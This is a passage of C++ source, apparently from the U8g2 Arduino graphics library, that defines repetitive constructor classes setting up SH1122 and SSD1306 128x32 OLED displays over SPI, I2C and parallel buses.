U8G2() {\n    u8g2_Setup_sh1122_i2c_256x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1122_256X64_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1122_256X64_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_i2c_256x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_1_6800 : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_1_8080 : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_1_6800 : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_1_8080 : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_2_6800 : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_2_8080 : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_2_6800 : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_2_8080 : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_F_6800 : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_F_8080 : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_F_6800 : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_F_8080 : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_univision_2(&u8g2, rotation, 